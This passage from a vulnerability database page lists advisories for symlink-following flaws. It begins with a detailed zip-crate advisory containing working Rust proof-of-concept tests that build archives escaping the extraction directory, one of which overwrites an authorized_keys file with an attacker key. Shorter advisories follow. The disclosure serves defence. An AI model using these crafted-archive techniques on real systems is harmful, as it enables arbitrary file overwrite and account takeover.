----------- | ------- | ------------------------------------------------------------------- |\n| b | symlink | `/\u2026/outside` (created without validation) |\n| a | symlink | `\u003cdest\u003e/b/sub` (lexically under dest, so it passes the check) |\n| a/pwned.txt | file | - |\n\nEntries are processed in central directory order (`for i in 0..self.len()` at `src/read/mod.rs: L386`), so the order above (`b` -\u003e `a` -\u003e `a/pwned.txt`) is required.\n\nExtraction then proceeds as follows:\n\n1. `b`: without any validation, the symlink `\u003cdest\u003e/b -\u003e /\u2026/outside`, **pointing outside the destination**, is created.\n2. `a`: likewise without validation, `\u003cdest\u003e/a -\u003e \u003cdest\u003e/b/sub` is created.\n3. `a/pwned.txt`: when `safe_prepare_path` processes the component `a`, it sees that `\u003cdest\u003e/a` is a symlink and validates its target (`\u003cdest\u003e/b/sub`). Lexically that target is under `\u003cdest\u003e`, so the check passes and `outpath` becomes `\u003cdest\u003e/b/sub`.\n - At this point, **the fact that `b`, an intermediate component of the target, is a symlink pointing outside is never re-validated**.\n - Because `a` is not the final component, `make_writable_dir_all` is called and creates `\u003cdest\u003e/b/sub` (which really is `/\u2026/outside/sub`).\n4. Finally `File::create` creates `\u003cdest\u003e/b/sub/pwned.txt`; the kernel resolves `b` and writes to **`/\u2026/outside/sub/pwned.txt`**. `extract()` returns `Ok(())`.\n\n### PoC\n\nThe PoC below is written as a unit test.\nPlace it at `tests/poc_linux.rs` and run `cargo test --test poc_linux -- --nocapture` to reproduce.\n\n- `zip_slip_via_symlink`: Write a new file outside the extraction destination\n- `overwrite_existing_ssh_authorized_keys`: Overwrite an existing file ~/.ssh/authorized_keys outside the extraction destination\n\n`tests/poc_linux.rs`\n```rust\n//! PoC for Linux: Write outside the extraction directory via symlink (GHSA-hjqx-j4rw-g7xv)\n//!\n//! - author: sl91994\n//! \n//! Mechanism: The symlink target validation is lexical (prefix matching in `simplified_components`)\n//! By placing an outward-pointing symlink `b` as an \"intermediate component in the resolved path\", `b` is traversed by the OS rather than the validation loop, thus escaping outside without being verified.\n//! Can be reproduced with `cargo test --test poc_linux -- --nocapture`\n\n#![cfg(unix)]\n\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse tempfile::TempDir;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n/// Verification of writing a new file outside the extraction destination\n#[test]\nfn zip_slip_via_symlink() {\n let tmp = TempDir::new().unwrap();\n let dest = tmp.path().join(\"dest\"); // Extraction destination\n let outside = tmp.path().join(\"outside\"); // A location where writing should not be allowed\n fs::create_dir(\u0026dest).unwrap();\n fs::create_dir(\u0026outside).unwrap();\n\n // Construct a malicious ZIP\n let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n let opt = SimpleFileOptions::default();\n // b: Symlink pointing outside (target is created unverified)\n zip.add_symlink(\"b\", outside.to_str().unwrap(), opt).unwrap();\n // a: Symlink whose target starts under dest (passes lexical validation)\n zip.add_symlink(\"a\", dest.join(\"b/sub\").to_str().unwrap(), opt).unwrap();\n // a/pwned.txt: File that escapes outside dest by traversing the intermediate b\n zip.start_file(\"a/pwned.txt\", opt).unwrap();\n zip.write_all(b\"escaped!\").unwrap();\n let archive = zip.finish_into_readable().unwrap();\n\n ZipArchive::from(archive).extract(\u0026dest).unwrap();\n\n // Verification: File has been written outside dest\n let escaped = outside.join(\"sub/pwned.txt\");\n assert!(escaped.exists(), \"escape failed\");\n assert_eq!(fs::read_to_string(\u0026escaped).unwrap(), \"escaped!\");\n println!(\"wrote outside dest: {}\", escaped.display());\n}\n\n/// Verification of overwriting an existing file (~/.ssh/authorized_keys) outside the extraction destination\n#[test]\nfn overwrite_existing_ssh_authorized_keys() {\n let tmp = TempDir::new().unwrap();\n let dest = tmp.path().join(\"dest\"); // Extraction destination\n\n // Reproduce victim\u0027s existing ~/.ssh/authorized_keys (containing a legitimate key)\n let home = tmp.path().join(\"home_victim\");\n let ssh = home.join(\".ssh\");\n fs::create_dir_all(\u0026ssh).unwrap();\n let authorized_keys = ssh.join(\"authorized_keys\");\n fs::write(\u0026authorized_keys, \"ssh-ed25519 AAAA...LEGIT victim@host\\n\").unwrap();\n let original = fs::read_to_string(\u0026authorized_keys).unwrap();\n\n fs::create_dir(\u0026dest).unwrap();\n\n // Construct a malicious ZIP\n let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n let opt = SimpleFileOptions::default();\n // b: Outward-pointing symlink to victim\u0027s HOME (target unverified)\n // Because it\u0027s placed in the middle rather than at the end, the OS traverses it transparently, bypassing validation\n zip.add_symlink(\"b\", home.to_str().unwrap(), opt).unwrap();\n // a: Symlink pointing to \u003cdest\u003e/b/.ssh (passes validation because it is lexically under dest)\n zip.add_symlink(\"a\", dest.join(\"b/.ssh\").to_str().unwrap(), opt).unwrap();\n // a/authorized_keys: File entry that reaches the actual authorized_keys\n zip.start_file(\"a/authorized_keys\", opt).unwrap();\n zip.write_all(b\"ssh-ed25519 AAAA...ATTACKER attacker@evil\\n\").unwrap();\n let archive = zip.finish_into_readable().unwrap();\n\n // extract() returns Ok(()) without an error (the caller cannot detect it)\n let res = ZipArchive::from(archive).extract(\u0026dest);\n println!(\"extract() returned: {:?}\", res);\n res.unwrap();\n\n // Verification: Existing file is overwritten with the attacker\u0027s content\n let after = fs::read_to_string(\u0026authorized_keys).unwrap();\n println!(\"--- BEFORE ---\\n{original}--- AFTER ---\\n{after}\");\n assert_ne!(after, original, \"file was NOT overwritten\");\n assert!(after.contains(\"ATTACKER\"), \"attacker content not present\");\n println!(\"OVERWROTE existing file: {}\", authorized_keys.display());\n}\n```\n\n#### Windows PoC (`tests/poc_win.rs`)\n\nThis is a test that verifies **escape to a different drive / UNC share via a single symlink**, specific to Windows.\nBy setting the extraction destination to a temporary directory on `C:` and making the symlink target **an absolute path on a different volume that shares the same tail as dest**, it passes the lexical check in `simplified_components` (which discards the `Prefix`), and the drive/share substitution performed by `outpath.push` results in a write outside of `dest`.\n\n- `escape_via_second_drive`: writes to `E:\\\u003csame tail as dest\u003e\\evil\\pwned.txt` on a separate drive (e.g. `E:`)\n- `escape_via_unc_share`: writes to `\\\\localhost\\poc\\\u003csame tail as dest\u003e\\evil\\pwned.txt` on a UNC share (e.g. `\\\\localhost\\poc\\`)\n\n```rust\n//! Windows PoC: writing to a separate drive / UNC share via a single symlink (GHSA-hjqx-j4rw-g7xv)\n//!\n//! - author: sl91994\n//!\n//! The crafted ZIP contains only 2 entries:\n//! 1. `a` : a symlink whose target = `\u003cOTHER\u003e\\\u003csame tail as dest\u003e\\evil` (absolute path)\n//! 2. `a/pwned.txt`: a regular file\n//! During extraction, resolving `a` causes outpath to be replaced with `\u003cOTHER\u003e\\...\\evil`,\n//! and `File::create(\u003cOTHER\u003e\\...\\evil\\pwned.txt)` writes outside of dest.\n//!\n//! # Prerequisites\n//! - Windows 10 (build 14972+) through Windows 11\n//! - Symlink creation privilege `SeCreateSymbolicLinkPrivilege` = Developer Mode enabled, or run as Administrator.\n//! - One volume / share **separate from dest**.\n//! Supply the escape destination via environment variables:\n//! * `POC_OTHER_DRIVE`: root of a separate drive. Must end with `\\`. e.g. `D:\\`\n//! * `POC_UNC_SHARE`: root of a writable UNC share. Must end with `\\`.\n//! e.g. `\\\\localhost\\poc\\`\n//! (`net share poc=C:\\path\\to\\share /grant:%USERNAME%,FULL`)\n//!\n//! # Running\n//!\n//! ```powershell\n//! $env:POC_OTHER_DRIVE = \"D:\\\"\n//! $env:POC_UNC_SHARE = \"\\\\localhost\\poc\\\"\n//! cargo test --test poc_win -- --nocapture\n//! ```\n\n#![cfg(windows)]\n\nuse std::ffi::OsString;\nuse std::fs;\nuse std::io::{Cursor, Write};\nuse std::path::{Component, Path, PathBuf};\n\nuse tempfile::TempDir;\nuse zip::write::SimpleFileOptions;\nuse zip::{ZipArchive, ZipWriter};\n\n/// Whether we have the privilege needed to create symlinks\nfn have_symlink_privilege() -\u003e bool {\n let Ok(tmp) = TempDir::new() else {\n return false;\n };\n let target = tmp.path().join(\"privcheck_target\");\n let link = tmp.path().join(\"privcheck_link\");\n if fs::write(\u0026target, b\"x\").is_err() {\n return false;\n }\n std::os::windows::fs::symlink_file(\u0026target, \u0026link).is_ok()\n}\n\n/// Extract only the Normal components of a path (the tail, with prefix / root dropped)\nfn normal_tail(p: \u0026Path) -\u003e Vec\u003cOsString\u003e {\n p.components()\n .filter_map(|c| match c {\n Component::Normal(s) =\u003e Some(s.to_os_string()),\n _ =\u003e None,\n })\n .collect()\n}\n\n/// Returns the `Prefix` (volume identifier) at the head of the path\nfn volume_prefix(p: \u0026Path) -\u003e Option\u003cOsString\u003e {\n match p.components().next() {\n Some(Component::Prefix(pre)) =\u003e Some(pre.as_os_str().to_os_string()),\n _ =\u003e None,\n }\n}\n\n/// Verifies the single-symlink escape using the escape destination root `other_root` (a separate volume / share)\nfn run_escape(variant: \u0026str, other_root: \u0026str) {\n if !have_symlink_privilege() {\n eprintln!(\n \"[SKIP] [{variant}] missing SeCreateSymbolicLinkPrivilege; \\\n enable Developer Mode or run as Administrator.\"\n );\n return;\n }\n\n // other_root must be an existing, writable root\n let other_root_path = PathBuf::from(other_root);\n if !fs::metadata(\u0026other_root_path)\n .map(|m| m.is_dir())\n .unwrap_or(false)\n {\n eprintln!(\n \"[SKIP] [{variant}] escape root {other_root:?} does not exist or is not a \\\n directory; check the environment variable.\"\n );\n return;\n }\n\n // The extraction destination `dest` is a temp directory (usually on C:). Since the `base` used by\n // safe_prepare_path is the path after canonicalize, match the tail to that.\n let tmp = TempDir::new().unwrap();\n let dest = tmp.path().join(\"dest\");\n fs::create_dir(\u0026dest).unwrap();\n let canon_dest = fs::canonicalize(\u0026dest).unwrap();\n let tail = normal_tail(\u0026canon_dest);\n\n // Reproduce dest\u0027s tail on a separate volume as the escape destination, with evil/ underneath it.\n // Since simplified_components discards the prefix, the target\u0027s tail component sequence\n // prefix-matches the base\u0027s tail component sequence, passing the lexical check.\n let mut escape_dir = other_root_path.clone();\n for c in \u0026tail {\n escape_dir.push(c);\n }\n escape_dir.push(\"evil\");\n\n // Confirm it\u0027s actually a separate volume (if it\u0027s the same volume, it would land inside dest and not be an escape)\n let other_vol = fs::canonicalize(\u0026other_root_path)\n .ok()\n .and_then(|p| volume_prefix(\u0026p));\n let dest_vol = volume_prefix(\u0026canon_dest);\n assert_ne!(\n other_vol, dest_vol,\n \"[{variant}] escape root {other_root:?} is on the same volume as dest; \\\n point it at a different drive/share (dest vol={dest_vol:?}).\"\n );\n\n // Assemble the crafted ZIP (entries: 1 symlink + 1 file)\n let target_str = escape_dir\n .to_str()\n .expect(\"escape path must be valid UTF-8\")\n .to_string();\n println!(\"[{variant}] dest (canonical) = {}\", canon_dest.display());\n println!(\"[{variant}] symlink target = {target_str}\");\n\n let mut zip = ZipWriter::new(Cursor::new(Vec::new()));\n let opt = SimpleFileOptions::default();\n // a: an absolute symlink pointing to the separate drive/share (passes the lexical check via matching tail)\n zip.add_symlink(\"a\", \u0026target_str, opt).unwrap();\n // a/pwned.txt: resolving `a` substitutes the drive in outpath, causing the write to land outside dest\n zip.start_file(\"a/pwned.txt\", opt).unwrap();\n zip.write_all(b\"escaped-on-windows!\").unwrap();\n let archive = zip.finish_into_readable().unwrap();\n\n let res = ZipArchive::from(archive).extract(\u0026dest);\n println!(\"[{variant}] extract() returned: {res:?}\");\n\n res.expect(\"extract() failed\");\n\n let escaped = escape_dir.join(\"pwned.txt\");\n assert!(\n escaped.exists(),\n \"[{variant}] escape failed: {} was not created\",\n escaped.display()\n );\n\n let content = fs::read_to_string(\u0026escaped).unwrap();\n println!(\n \"[{variant}] WROTE OUTSIDE DEST: {} = {content:?}\",\n escaped.display()\n );\n\n let _ = fs::remove_file(\u0026escaped);\n let _ = fs::remove_dir(\u0026escape_dir);\n\n assert_eq!(\n content, \"escaped-on-windows!\",\n \"[{variant}] written content mismatch\",\n );\n}\n\n/// Single-symlink escape to a separate drive (`POC_OTHER_DRIVE`, e.g. `D:\\`)\n#[test]\nfn escape_via_second_drive() {\n match std::env::var(\"POC_OTHER_DRIVE\") {\n Ok(root) if !root.is_empty() =\u003e run_escape(\"drive\", \u0026root),\n _ =\u003e eprintln!(\n \"[SKIP] escape_via_second_drive: POC_OTHER_DRIVE not set \\\n (PowerShell: `$env:POC_OTHER_DRIVE=\\\"D:\\\\\\\"`).\"\n ),\n }\n}\n\n/// Single-symlink escape to a UNC share (`POC_UNC_SHARE`, e.g. `\\\\localhost\\poc\\`)\n#[test]\nfn escape_via_unc_share() {\n match std::env::var(\"POC_UNC_SHARE\") {\n Ok(root) if !root.is_empty() =\u003e run_escape(\"unc\", \u0026root),\n _ =\u003e eprintln!(\n \"[SKIP] escape_via_unc_share: POC_UNC_SHARE not set \\\n (PowerShell: `$env:POC_UNC_SHARE=\\\"\\\\\\\\localhost\\\\poc\\\\\\\"`).\"\n ),\n }\n}\n```\n\n### Impact\n\nWith the privileges of the process that extracts an untrusted ZIP archive via `ZipArchive::extract` / `ZipArchive::extract_unwrapped_root_dir`, an attacker can **write a file with arbitrary contents to an arbitrary path outside the extraction directory**.\n\n- Because existing files can be overwritten, tampering with files such as `~/.ssh/authorized_keys`, `~/.bashrc`, `.git/hooks/*`, CI configuration, or a service\u0027s binaries and configuration files **may lead to remote code execution or privilege escalation**. Destroying critical files can also cause denial of service.\n- Extraction **does not fail and returns `Ok(())`**, so the caller has no straightforward way to detect the attack.\n- The documentation of `extract()` explicitly states that **symbolic links are only created and followed if the target is within the destination directory**, so downstream applications that rely on this as a sandbox boundary are directly affected.\n\nExploitation requires the absolute path of the destination to be known, but this is realistic in practice: CI workspaces, `/opt/\u003capp\u003e`, a fixed Downloads directory, and so on.",
"id": "GHSA-hjqx-j4rw-g7xv",
"modified": "2026-10-29T16:40:13Z",
"published": "2026-10-29T16:40:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/security/advisories/GHSA-hjqx-j4rw-g7xv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-115908"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/commit/09c030eab56e8db8fb3c1c33f554407b30bad8fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/zip-rs/zip2"
},
{
"type": "WEB",
"url": "https://github.com/zip-rs/zip2/releases/tag/v9.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "zip: Arbitrary file write outside the extraction directory, because ZipArchive::extract validates symlink targets lexically. "
}
GHSA-HJR9-62GJ-CHHF
Vulnerability from github – Published: 2026-04-23 21:31 – Updated: 2026-08-21 18:34This vulnerability allows an attacker to create a junction, enabling the deletion of arbitrary files with SYSTEM privileges. As a result, this condition potentially facilitates arbitrary code execution, whereby an attacker may exploit the vulnerability to execute malicious code with elevated SYSTEM privileges.
{
"affected": [],
"aliases": [
"CVE-2026-33694"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-23T19:17:28Z",
"severity": "HIGH"
},
"details": "This vulnerability allows an attacker to create a junction, enabling the deletion of arbitrary files with SYSTEM privileges. As a result, this condition potentially facilitates arbitrary code execution, whereby an attacker may exploit the vulnerability to execute malicious code with elevated SYSTEM privileges.",
"id": "GHSA-hjr9-62gj-chhf",
"modified": "2026-08-21T18:34:46Z",
"published": "2026-04-23T21:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33694"
},
{
"type": "WEB",
"url": "https://tenable.com/security/tns-2026-12"
},
{
"type": "WEB",
"url": "https://tenable.com/security/tns-2026-13"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-HMF4-4CCH-P9XH
Vulnerability from github – Published: 2022-05-17 05:52 – Updated: 2022-05-17 05:52dhis-dummy-log-engine in dhis-server 5.3 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/dhis-dummy-log-engine.log temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4947"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-11-05T15:00:00Z",
"severity": "MODERATE"
},
"details": "dhis-dummy-log-engine in dhis-server 5.3 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/dhis-dummy-log-engine.log temporary file.",
"id": "GHSA-hmf4-4cch-p9xh",
"modified": "2022-05-17T05:52:20Z",
"published": "2022-05-17T05:52:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4947"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/496388"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/dhis-server"
},
{
"type": "WEB",
"url": "http://uvw.ru/report.lenny.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30900"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP47-JVH8-33RQ
Vulnerability from github – Published: 2022-05-01 18:09 – Updated: 2022-05-01 18:09Session fixation vulnerability in eggblog 3.1.0 and earlier allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.
{
"affected": [],
"aliases": [
"CVE-2007-2978"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-06-01T01:30:00Z",
"severity": "MODERATE"
},
"details": "Session fixation vulnerability in eggblog 3.1.0 and earlier allows remote attackers to hijack web sessions by setting the PHPSESSID parameter.",
"id": "GHSA-hp47-jvh8-33rq",
"modified": "2022-05-01T18:09:12Z",
"published": "2022-05-01T18:09:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-2978"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/34549"
},
{
"type": "WEB",
"url": "http://osvdb.org/36734"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/25443"
},
{
"type": "WEB",
"url": "http://securityreason.com/securityalert/2756"
},
{
"type": "WEB",
"url": "http://www.majorsecurity.de/index_2.php?major_rls=major_rls48"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/469888/100/0/threaded"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HP49-99R6-WHJR
Vulnerability from github – Published: 2022-04-22 00:24 – Updated: 2024-04-03 23:05foomatic-rip filter v4.0.12 and prior used insecurely creates temporary files for storage of PostScript data by rendering the data when the debug mode was enabled. This flaw may be exploited by a local attacker to conduct symlink attacks by overwriting arbitrary files accessible with the privileges of the user running the foomatic-rip universal print filter.
{
"affected": [],
"aliases": [
"CVE-2011-2924"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-11-19T22:15:00Z",
"severity": "MODERATE"
},
"details": "foomatic-rip filter v4.0.12 and prior used insecurely creates temporary files for storage of PostScript data by rendering the data when the debug mode was enabled. This flaw may be exploited by a local attacker to conduct symlink attacks by overwriting arbitrary files accessible with the privileges of the user running the foomatic-rip universal print filter.",
"id": "GHSA-hp49-99r6-whjr",
"modified": "2024-04-03T23:05:04Z",
"published": "2022-04-22T00:24:14Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2011-2924"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/cve-2011-2924"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2011-2924"
},
{
"type": "WEB",
"url": "https://launchpad.net/ubuntu/+source/foomatic-filters/4.0.12-1"
},
{
"type": "WEB",
"url": "https://lwn.net/Articles/459979"
},
{
"type": "WEB",
"url": "https://security-tracker.debian.org/tracker/CVE-2011-2924"
},
{
"type": "WEB",
"url": "https://www.openwall.com/lists/oss-security/2014/02/08/5/1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-HP8W-X4CG-7866
Vulnerability from github – Published: 2022-05-17 03:21 – Updated: 2025-04-11 04:16rss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary files via a symlink attack on /tmp/magpie_cache.
{
"affected": [],
"aliases": [
"CVE-2013-4214"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2013-11-23T17:55:00Z",
"severity": "MODERATE"
},
"details": "rss-newsfeed.php in Nagios Core 3.4.4, 3.5.1, and earlier, when MAGPIE_CACHE_ON is set to 1, allows local users to overwrite arbitrary files via a symlink attack on /tmp/magpie_cache.",
"id": "GHSA-hp8w-x4cg-7866",
"modified": "2025-04-11T04:16:18Z",
"published": "2022-05-17T03:21:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4214"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2013:1526"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2013-4214"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=958002"
},
{
"type": "WEB",
"url": "https://www.nagios.org/projects/nagios-core/history/4x"
},
{
"type": "WEB",
"url": "http://rhn.redhat.com/errata/RHSA-2013-1526.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/61747"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HPFW-MQM3-33JH
Vulnerability from github – Published: 2026-04-22 18:31 – Updated: 2026-04-30 17:14A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the cp utility of uutils coreutils allows an attacker to bypass no-dereference intent. The utility checks if a source path is a symbolic link using path-based metadata but subsequently opens it without the O_NOFOLLOW flag. An attacker with concurrent write access can swap a regular file for a symbolic link during this window, causing a privileged cp process to copy the contents of arbitrary sensitive files into a destination controlled by the attacker.
{
"affected": [
{
"package": {
"ecosystem": "crates.io",
"name": "coreutils"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.8.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-35359"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-30T17:14:47Z",
"nvd_published_at": "2026-04-22T17:16:38Z",
"severity": "MODERATE"
},
"details": "A Time-of-Check to Time-of-Use (TOCTOU) vulnerability in the cp utility of uutils coreutils allows an attacker to bypass no-dereference intent. The utility checks if a source path is a symbolic link using path-based metadata but subsequently opens it without the O_NOFOLLOW flag. An attacker with concurrent write access can swap a regular file for a symbolic link during this window, causing a privileged cp process to copy the contents of arbitrary sensitive files into a destination controlled by the attacker.",
"id": "GHSA-hpfw-mqm3-33jh",
"modified": "2026-04-30T17:14:47Z",
"published": "2026-04-22T18:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35359"
},
{
"type": "WEB",
"url": "https://github.com/uutils/coreutils/issues/10017"
},
{
"type": "PACKAGE",
"url": "https://github.com/uutils/coreutils"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "uutils coreutils has a Link Following issue"
}
GHSA-HPJ4-VJ9F-Q9HF
Vulnerability from github – Published: 2022-05-24 19:15 – Updated: 2022-05-24 19:15A vulnerability in the Cisco IOS XE SD-WAN Software CLI could allow an authenticated, local attacker to overwrite arbitrary files on the local system. This vulnerability is due to improper access controls on files within the local file system. An attacker could exploit this vulnerability by placing a symbolic link in a specific location on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on an affected device.
{
"affected": [],
"aliases": [
"CVE-2021-1612"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-09-23T03:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in the Cisco IOS XE SD-WAN Software CLI could allow an authenticated, local attacker to overwrite arbitrary files on the local system. This vulnerability is due to improper access controls on files within the local file system. An attacker could exploit this vulnerability by placing a symbolic link in a specific location on the local file system. A successful exploit could allow the attacker to overwrite arbitrary files on an affected device.",
"id": "GHSA-hpj4-vj9f-q9hf",
"modified": "2022-05-24T19:15:40Z",
"published": "2022-05-24T19:15:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1612"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sd-wan-GjR5pGOm"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HPX5-6MFX-FQ22
Vulnerability from github – Published: 2022-05-02 00:07 – Updated: 2022-05-02 00:07The pserver_shutdown function in fence_egenera in cman 2.20080629 and 2.20080801 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/eglog temporary file.
{
"affected": [],
"aliases": [
"CVE-2008-4192"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-09-29T17:17:00Z",
"severity": "MODERATE"
},
"details": "The pserver_shutdown function in fence_egenera in cman 2.20080629 and 2.20080801 allows local users to overwrite arbitrary files via a symlink attack on the /tmp/eglog temporary file.",
"id": "GHSA-hpx5-6mfx-fq22",
"modified": "2022-05-02T00:07:55Z",
"published": "2022-05-02T00:07:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-4192"
},
{
"type": "WEB",
"url": "https://bugs.gentoo.org/show_bug.cgi?id=235770"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=460476"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/44845"
},
{
"type": "WEB",
"url": "https://www.redhat.com/archives/fedora-package-announce/2008-October/msg00666.html"
},
{
"type": "WEB",
"url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=496410"
},
{
"type": "WEB",
"url": "http://dev.gentoo.org/~rbu/security/debiantemp/cman"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/31887"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32387"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32390"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/43362"
},
{
"type": "WEB",
"url": "http://uvw.ru/report.lenny.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/09/18/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/09/24/2"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2008/10/30/2"
},
{
"type": "WEB",
"url": "http://www.redhat.com/support/errata/RHSA-2011-0266.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/30898"
},
{
"type": "WEB",
"url": "http://www.ubuntu.com/usn/USN-875-1"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2011/0419"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-HQ4H-FVJM-7FQW
Vulnerability from github – Published: 2022-05-24 17:27 – Updated: 2022-05-24 17:27A vulnerability in Trend Micro Apex One on macOS may allow an attacker to manipulate a certain binary to load and run a script from a user-writable folder, which then would allow them to execute arbitrary code as root. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
{
"affected": [],
"aliases": [
"CVE-2020-24559"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-09-01T19:15:00Z",
"severity": "HIGH"
},
"details": "A vulnerability in Trend Micro Apex One on macOS may allow an attacker to manipulate a certain binary to load and run a script from a user-writable folder, which then would allow them to execute arbitrary code as root. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.",
"id": "GHSA-hq4h-fvjm-7fqw",
"modified": "2022-05-24T17:27:08Z",
"published": "2022-05-24T17:27:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-24559"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000263632"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/solution/000267260"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-20-1096"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-48.1
Strategy: Separation of Privilege
- Follow the principle of least privilege when assigning access rights to entities in a software system.
